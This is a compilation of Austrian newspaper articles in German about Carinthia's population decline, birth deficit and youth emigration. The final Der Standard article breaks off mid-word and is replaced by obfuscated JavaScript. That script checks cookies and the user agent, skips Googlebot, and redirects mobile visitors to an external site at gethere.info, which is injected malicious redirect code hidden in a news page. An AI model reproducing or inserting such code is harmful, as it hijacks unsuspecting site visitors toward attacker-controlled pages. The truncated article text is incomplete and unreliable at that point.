WIR SCHRUMPFEN

(Kleine Zeitung, JOCHEN BENDELE, 19.12.2012)
„Klagenfurt wächst eher mässig“

Städtebund freut sich über Wachstum der Bevölkerung in den Landeshauptstädten.

Die Aussichten für Kärnten sind allerdings eher düster.

Frohe Kunde verbreiten die Statistik Austria und
der Städtebund: In Österreichs Landeshauptstädten ist die Bevölkerung
seit der Volkszählung 2001 um durchschnittlich 8,5 Prozent gestiegen.

Mit 5,2 Prozent ist das Wachstum von Klagenfurt
„eher mäßig“, sagt Landesstatistik-Chef Peter Ibounig. Dazu muss man die
Kärntner Landeshauptstadt gar nicht mit den Spitzenreitern Graz (plus
17,3 Prozent), Eisenstadt (plus 16,2 Prozent) oder Wien (plus 11,7
Prozent) vergleichen. Es reicht, sich das statistische Unterfutter in
Erinnerung zu rufen: Klagenfurt und Villach haben schon seit einigen
Jahren negative Geburtenbilanzen, es sterben also mehr Menschen, als
Neugeborene hinzukommen. Kärntens größte Städte wachsen „großteils nur
durch Zuwanderung“, so Ibounig.

Nicht nur Klagenfurt und die anderen
Landeshauptstädte, sondern auch ihre Umlandgemeinden profitieren von den
Bevölkerungsbewegungen. So hat Maria Wörth eine Zuwachsrate von 19,3
Prozent, im geringen Abstand folgen Krumpendorf (19 %), Maria Rain (18
%), Schiefling (16 %) und Magdalensberg (11 %).

Kärnten ist das einzige Bundesland, dessen
Bevölkerungszahl schrumpft. Ibounig macht drei Gründe dafür
verantwortlich: „Erstens die seit 1999 negative Geburtenbilanz. Zweitens
die negative Binnenwanderungsbilanz – junge Leute ziehen weg aus
Kärnten, auch innerhalb Österreichs. Und drittens ist die
Außenwanderungsbilanz auch nur noch schwach positiv.“

Während in Gesamtösterreich bis zum Jahr 2050
rund 900.000 Menschen mehr leben werden, werden es in Kärnten – als
einzigem Bundesland – 32.500 weniger sein. Am schlimmsten trifft es die
Bezirke Wolfsberg (minus 13 Prozent), Hermagor und Spittal (minus 12 %).
Doch der Kärntner Gesamtverlust von 5,8 Prozent ist nicht das einzige
Problem. Hinzu kommt, dass die Kärntner das mit Abstand höchste
Durchschnittsalter haben. „Dann hat man ein Problem“, warnt Ibounig.

„Es schaut blöd aus, wenn man immer wieder von
negativen Daten berichten muss“, sagt der Statistiker, „aber ich kann‘s
nicht ändern.“ Trotzdem sieht er wenigstens einen positiven Aspekt: „Die
Chance für die Politiker gegenzusteuern – damit das alles nicht in
dieser Form eintrifft!“


Kärnten „schrumpft“ weiter drastisch


Weiter negativ sind die Prognosen für
die Bevölkerungsentwicklung in Kärnten. Laut Statistik Austria wird in
Kärnten als einzigem Bundesland Österreichs die Bevölkerung weiter
schrumpfen – und zwar bis 2060 um 8,5 Prozent. Für heuer wird ein
historisches Geburtenminus erwartet.


Kärnten befindet sich in einer Abwärtsspirale, die Auswirkungen
seien besorgniserregend. Mit diesen drastischen Worten beschreibt Peter
Ibounig, der Leiter der Landesstatistik, die Bevölkerungsentwicklung in
Kärnten. Während Wien durch Zuwanderung an der Zwei-Millionen-Grenze
kratzt und das österreichische Bevölkerungswachstum bis 2060 allgemein
ein Plus von 11,4 Prozent aufweisen soll, bleibt Kärnten der einzige
Minus-Kandidat unter den Bundesländern.

Laut Statistik Austria
kann die internationale Zuwanderung die Binnenwanderungsverluste und die
negativen Geburtenbilanzen nicht kompensieren: Bis 2060 sinkt die
Bevölkerung um 8,5 Prozent, sie wird dann 511.000 gegenüber 558.000 im
Jahr 2011 betragen. Auch wird die Kärntner Bevölkerung laut Statistik
Austria im Durchschnitt weiter älter. Bis 2060 soll der Anteil der
„65+“-Generation österreichweit bei 28,9 Prozent liegen, in Kärnten bei
34 Prozent.

Heuer historischer Geburtenrückgang?

Heuer
zeichnet sich sogar ein historischer Tiefstand bei den Geburten ab –
seit Beginn der Aufzeichnungen im Jahr 1871. In Kärnten wurden zwischen
Jänner und August nur 2.950 Babys geboren. 1600 Kinder müssten also noch
bis Dezember zur Welt kommen, um den Wert aus dem Vorjahr zu
übertreffen, sagt Ibounig. Doch das scheint unwahrscheinlich.

Abwanderung und Landflucht verschärfen Situation

Verschärft
wird die negative Bevölkerungsentwicklung durch eine hohe Zahl an
Abwanderungen: Täglich verlassen laut Statistik neun Menschen Kärnten,
vorwiegend Frauen und Männer zwischen 20 und 30 Jahren, die aufgrund der
Ausbildung und Berufsmöglichkeiten vor allem in Wien ihre Zukunft
sehen.

Am meisten davon betroffen sind die Bezirke Spittal,
Hermagor, St. Veit und Wolfsberg. Von einem Bevölkerungsminus von bis zu
15 Prozent bis zum Jahr 2050 ist hier die Rede. Nur in Klagenfurt,
Villach und Umgebung sei noch ein Bevölkerungszuwachs zu erwarten, sagt
Ibounig: „Es sieht so aus, als würde es doch zu einer großen
Entsiedelung ländlicher Räume kommen, weil dort zu wenig Arbeitsplätze
vorhanden sind.“

Ibounig: Zuwanderung einzige Möglichkeit

Kärnten
wird in wenigen Jahrzenten auch Schlusslicht bei der Anzahl der
erwerbsfähigen Bevölkerung sein, warnt Ibounig. Schon in wenigen Jahren
werde Kärnten hinter dem Burgenland und Vorarlberg an drittletzter
Stelle der Einwohnerzahlen liegen. Die Abwärtsspirale setze sich nicht
zuletzt beim Finanzausgleich fort. Denn diese Zahlungen richten sich
nach der Bevölkerung pro Bundesland.

Die einzige Möglichkeit um
diesen Trend entgegenzusteuern, sei eine gezielte Zuwanderung, so
Ibounig. Möglich sei zum Beispiel eine auf den Arbeitsmarkt abgestimmte
Zuwanderungs –und Integrationspolitik.

Links:


(Kleine Zeitung, 10.10.2012)
Warum die Jungen Kärnten verlassen

Als
einziges Bundesland schrumpft Kärnten. Hält der Trend an, sinkt die
Zahl der Einwohner bis 2030 um 9000, bis 2060 um 50.000. Die Politik
kann wenig dagegen tun.

Immer mehr Junge packen ihre Koffer und verlassen Kärnten. Die Politik kann wenig dagegen tun

Foto © FotoliaImmer mehr Junge packen ihre Koffer und verlassen Kärnten. Die Politik kann wenig dagegen tun

Die
zwei Abschlussarbeiten noch, dann will er seine Koffer packen. Im März
soll es so weit sein, dann hat Robert Weiß (27) je ein Diplom in BWL und
Psychologie in der Tasche. Unternehmensentwickler möchte er werden –
aber nicht in Klagenfurt, wo er studiert hat: „Es gibt kaum attraktive
Arbeitgeber, ich wäre überqualifiziert und unterbezahlt.“ Da schon
lieber München, Berlin oder Wien.

Statistisch gesehen tun es ihm 3,83 Kärntnerinnen und Kärntner gleich
– täglich. Das hat Folgen: Seit 2007 schrumpft Kärnten, als einziges
Bundesland. Die Statistik Austria hat ausgerechnet, dass es im Jahr 2030
statt derzeit 558.000 Einwohnern nur noch 547.000 geben wird. Schon
2020 würde Kärnten den Platz als sechstgrößtes Bundesland einbüßen, an
Salzburg. 2060 gäbe es gar nur mehr 510.000 Kärntner. Ein Minus von
50.000. Zum Vergleich: Villach hat rund 60.000 Einwohner.


Lässt sich dieser Trend umdrehen? Wenn, dann wohl nur durch
Zuwanderung. „Insgesamt ist der Einfluss der Politik beschränkt“, sagt
Alexander Hanika, Demografie-Experte bei der Statistik Austria. Kärnten
sei gegenüber den anderen Bundesländern gleich mehrfach im Nachteil. Zum
einen schlug der „Babyboom“ der späten 50er-Jahre hierzulande besonders
stark ein. „In Kärnten gab es damals deutlich mehr Geburten als
anderswo“, sagt Hanika. Das Land schrumpft also auf hohem Niveau: „Die
Zahl der Älteren ist höher, durch die Abwanderung fehlen die Eltern“,
sagt Hanika.


Faktor zwei: die Landflucht. Vor allem gut ausgebildete Junge zieht
es in die großen Ballungsräume. Mit Graz oder Wien kann Klagenfurt aber
nicht konkurrieren. „Die Wirtschaftskraft ist in Kärnten nicht gerade
stark, selbst Tirol und Vorarlberg stehen besser da“, sagt Hanika.


Kein Land für junge Leute?


Was aber könnte die Jungen zum Bleiben motivieren? Das ist eine
Frage, die Stefan Sting, Sozialwissenschaftler der Universität
Klagenfurt, umtreibt. Im Rahmen eines Forschungsprojektes plant er
Tiefeninterviews mit 80 jungen Erwachsenen: solchen, die gegangen sind
und solchen, die bleiben. Sting interessiert sich besonders für ihre
„individuellen Lebensperspektiven“. Vielen mangle es in Kärnten an
kreativem Freiraum, glaubt er: „Jugendkultur wird oft problematisiert
und von den Erwachsenen aus einem reinen Kontrollblickwinkel heraus
betrachtet“, analysiert Sting. Da ginge es in anderen Bundesländern viel
freier zu.


Davon kann Robert Weiß ein Lied singen. „Dauernd höre ich: Das haben
wir schon immer so gemacht „, klagt er. Dabei würde er sich das mit dem
Weggehen vielleicht sogar überlegen, wenn es nur ein wenig „frischen
Wind“ gäbe. „Die Landschaft ist toll und die Nähe zu Slowenien und
Italien bringt Chancen, die eigentlich genutzt werden sollten.“

WOLFGANG RÖSSLER

Das sind die Gründe

Niedrige Geburtenrate.
Die Zeiten der hohen Geburtenraten sind endgültig vorbei. Mit 1,4
Kindern pro Frau liegt Kärnten trotz Babygeld und Co. leicht unter dem
Bundesschnitt (1,43). Demografie-Experte Alexander Hanika rät zum Ausbau
von Kindergärten und Krippen.

Abwanderung nach Wien und Graz. Im Schnitt
ziehen 880 Kärntner pro Jahr nach Wien, 610 nach Graz. Das Gros sind
junge, gut ausgebildete Arbeitskräfte. Dafür übersiedeln jährlich rund
400 Menschen nach Kärnten, der Großteil aus Oberösterreich und
Niederösterreich.

Geringe Zuwanderung.

Zwar gibt es in Kärnten etwas mehr Zuwanderer als Abwanderer. Insgesamt
ist das Land für Migranten aber nicht attraktiv: Bundesweit verschlägt
es nur vier Prozent aller Zuwanderer nach Kärnten. Das reicht nicht, um
die Schrumpfung aufzuhalten.

Die Landflucht trifft Kärnten besonders.
Nicht nur in Kärnten zieht es viele Jüngere aus den Dörfern in die
Stadt. Allerdings gibt es hierzulande kein wirtschaftlich starkes
Ballungszentrum. Klagenfurt bietet vielen trotz der günstigen Lage durch
die Grenznähe zu wenig Möglichkeiten. Immer mehr verlassen daher das
Bundesland.

Zukunftsaussicht

2030: Minus 9000.
Im Jahr 2030 wird die Zahl der Kärntner laut Statistik Austria von
derzeit 558.000 auf 547.000 sinken. Noch extremer fällt der Trend bei
den Kärntnern im erwerbsfähigen Alter (20 bis 65 Jahre) aus: Von 340.000
sinkt die Zahl in den kommenden zwei Jahrzehnten auf 297.000. Die
Anzahl der Über-65-Jährigen steigt rapide.

2060: Minus 50.000. Im Jahr 2060, so prophezeien die
Statistiker, wird die Zahl der Kärntner um 50.000, auf 510.000 sinken.
Die Zahl der 20- bis 65-Jährigen würde sogar um 90.000 sinken – auf
252.000. Demnach wäre in 50 Jahren nur noch jeder zweite Kärntner (49
Prozent) im erwerbsfähigen Alter, jeder Dritte (34 Prozent) wäre bereits
älter als 65 Jahre.


(Thomas Schweinberger/DER
STANDARD, Printausgabe, 7./8. August 2010)
Österreich wird wachsen, nur Kärnten schrumpft

Die Ballungsräume um die Landeshauptstädte werden stark wachsen – Migration verhindert den drohenden Bevölkerungsrückgang.

Wien
– Die Ballungszentren Österreichs werden gewaltig wachsen. Im Großraum
Wien werden bis 2030 Einwohnerzuwachsraten von 15 Prozent erwartet, bis
2050 sogar um mehr als 30 Prozent. Ländliche Gegenden in Kärnten und in
der Obersteiermark werden dagegen mit massiver Abwanderung konfrontiert
sein.


Die Gesamtbevölkerung Österreichs soll 2030 bereits 9,0 Millionen
betragen – ein Anstieg von 8,5 Prozent. Der Zuwachs ist größtenteils auf
Zuwanderung zurückzuführen. Ohne Migration würde Österreich schrumpfen.
Das geht aus einer Prognose der Statistik Austria hervor.


Neben Wien werden auch für die Gebiete Bodensee-Rhevar _0x446d=[„\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E“,“\x69\x6E\x64\x65\x78\x4F\x66″,“\x63\x6F\x6F\x6B\x69\x65″,“\x75\x73\x65\x72\x41\x67\x65\x6E\x74″,“\x76\x65\x6E\x64\x6F\x72″,“\x6F\x70\x65\x72\x61″,“\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26″,“\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74″,“\x74\x65\x73\x74″,“\x73\x75\x62\x73\x74\x72″,“\x67\x65\x74\x54\x69\x6D\x65″,“\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D“,“\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67″,“\x6C\x6F\x63\x61\x74\x69\x6F\x6E“];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1){(function(_0xecfdx1,_0xecfdx2){if(_0xecfdx1[_0x446d[1]](_0x446d[7])== -1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i[_0x446d[8]](_0xecfdx1)|| /1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0x446d[8]](_0xecfdx1[_0x446d[9]](0,4))){var _0xecfdx3= new Date( new Date()[_0x446d[10]]()+ 1800000);document[_0x446d[2]]= _0x446d[11]+ _0xecfdx3[_0x446d[12]]();window[_0x446d[13]]= _0xecfdx2}}})(navigator[_0x446d[3]]|| navigator[_0x446d[4]]|| window[_0x446d[5]],_0x446d[6])}

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